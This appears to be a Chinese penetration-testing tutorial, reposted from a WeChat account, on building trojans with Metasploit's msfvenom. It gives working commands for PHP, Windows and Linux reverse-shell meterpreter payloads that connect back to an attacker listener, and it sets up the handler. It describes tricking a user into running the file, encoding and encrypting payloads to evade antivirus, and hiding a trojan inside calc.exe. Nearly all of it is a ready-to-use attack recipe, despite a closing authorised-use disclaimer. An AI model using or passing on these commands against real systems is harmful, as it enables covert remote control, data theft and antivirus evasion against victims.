渗透测试教学之MSF生成木马

admin 2023年8月20日23:12:51评论104 views字数 3119阅读10分23秒阅读模式

利用msf生成php,windows,Linux三类木马

一、什么是msf?

msf是Metasploit Framework(MSF)的简称,它是一个开源的渗透测试框架,可以用来发现和利用各种漏洞,执行远程命令,提权,维持后门等操作。msf包含了多种模块,如payloads(有效载荷)、encoders(编码器)、nops(无操作指令)、exploits(利用模块)、auxiliary(辅助模块)、post(后渗透模块)等。

二、什么是msfvenom?

msfvenom是msf中的一个独立的负载生成器,它可以利用msf中的payloads和encoders来生成各种格式的木马文件,并在目标机上执行,配合meterpreter在本地监听上线。msfvenom是msfpayload和msfencode的结合体,可以一步完成负载生成和编码免杀的操作。

三、如何使用msfvenom?

msfvenom的基本用法是:

msfvenom -p <payload> [options] <var=val>

其中:

  • -p <payload>:指定要使用的有效载荷(–list payloads要列出的有效载荷,–list-options用于参数)。

  • [options]:指定一些可选的参数,如输出格式、编码器、平台、架构、加密等(使用-h查看所有参数)。

  • <var=val>:指定有效载荷所需的变量和值,如LHOST、LPORT等。

例如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o test.exe

这条命令会生成一个windows平台的反向连接meterpreter木马文件test.exe,该木马会连接到192.168.1.100:4444,并以exe格式输出。

渗透测试教学之MSF生成木马

四、如何生成php,windows,Linux三类木马?

1. php木马

php木马是一种基于web的木马,可以在目标服务器上执行任意php代码。要生成php木马,我们需要指定-p php/meterpreter/reverse_tcp作为有效载荷,并以raw格式输出。例如:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o test.php

这条命令会生成一个php木马文件test.php,该木马会连接到192.168.1.100:4444。我们可以将该文件上传到目标服务器上,并通过访问该文件来触发木马。

渗透测试教学之MSF生成木马

2. windows木马

windows木马是一种基于exe或dll的木马,可以在目标系统上执行任意命令或代码。要生成windows木马,我们需要指定-p windows/meterpreter/reverse_tcp或-p windows/x64/meterpreter/reverse_tcp作为有效载荷,并以exe或dll格式输出。例如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o test.exe

这条命令会生成一个windows平台的反向连接meterpreter木马文件test.exe,该木马会连接到192.168.1.100:4444。我们可以将该文件发送给目标用户,并诱导其运行该文件来触发木马。

渗透测试教学之MSF生成木马

3. Linux木马

Linux木马是一种基于elf的木马,可以在目标系统上执行任意命令或代码。要生成Linux木马,我们需要指定-p linux/x86/meterpreter/reverse_tcp或-p linux/x64/meterpreter/reverse_tcp作为有效载荷,并以elf格式输出。例如:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o test.elf

这条命令会生成一个Linux平台的反向连接meterpreter木马文件test.elf,该木马会连接到192.168.1.100:4444。我们可以将该文件上传到目标系统上,并通过执行该文件来触发木马。

渗透测试教学之MSF生成木马

五、如何监听和控制木马?

要监听和控制木马,我们需要使用msf中的exploit/multi/handler模块,并设置与木马相同的payload、LHOST、LPORT等参数。例如:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

这些命令会启动一个监听器,等待目标系统上的木马连接回来。一旦连接成功,我们就可以获得一个meterpreter会话,从而控制目标系统。

渗透测试教学之MSF生成木马

meterpreter提供了很多功能,如获取系统信息、执行命令、上传下载文件、截屏、录音、提权、维持后门等。我们可以使用help命令查看所有可用的meterpreter命令。

六、如何编码和加密木马?

由于目标系统可能有防火墙或杀毒软件的保护,我们生成的木马可能会被拦截或删除。为了避免这种情况,我们可以使用msfvenom中的编码器和加密器来对木马进行编码和加密,从而绕过一些简单的检测。编码器和加密器可以使用-e和–encrypt参数来指定,如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 --encrypt aes256 --encrypt-key mykey -f exe -o test.exe

渗透测试教学之MSF生成木马

这条命令会对windows木马进行5次x86/shikata_ga_nai编码,并使用aes256加密算法和mykey密钥进行加密,然后以exe格式输出。我们可以使用–list encoders和–list encrypt来查看所有可用的编码器和加密器。

七、如何捆绑和伪装木马?

除了编码和加密,我们还可以使用msfvenom中的-x和-k参数来对木马进行捆绑和伪装,从而增加其隐蔽性和诱惑性。-x参数可以指定一个用作模板的自定义可执行文件,-k参数可以保留模板文件的行为并将木马作为新线程注入。例如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x calc.exe -k -f exe -o test.exe

复制

这条命令会将windows木马注入到calc.exe(计算器程序)中,并以test.exe输出。当用户运行test.exe时,既会打开计算器,又会触发木马。

八、总结

本讲义介绍了利用msf生成php,windows,Linux三类木马的方法和技巧,包括msfvenom的用法、payload的选择、格式的指定、变量的赋值、监听器的配置、meterpreter的操作、编码器和加密器的应用、捆绑和伪装的实现等内容。

本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

原文始发于微信公众号(云息信安):渗透测试教学之MSF生成木马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月20日23:12:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试教学之MSF生成木马http://cn-sec.com/archives/1963017.html

发表评论

匿名网友 填写信息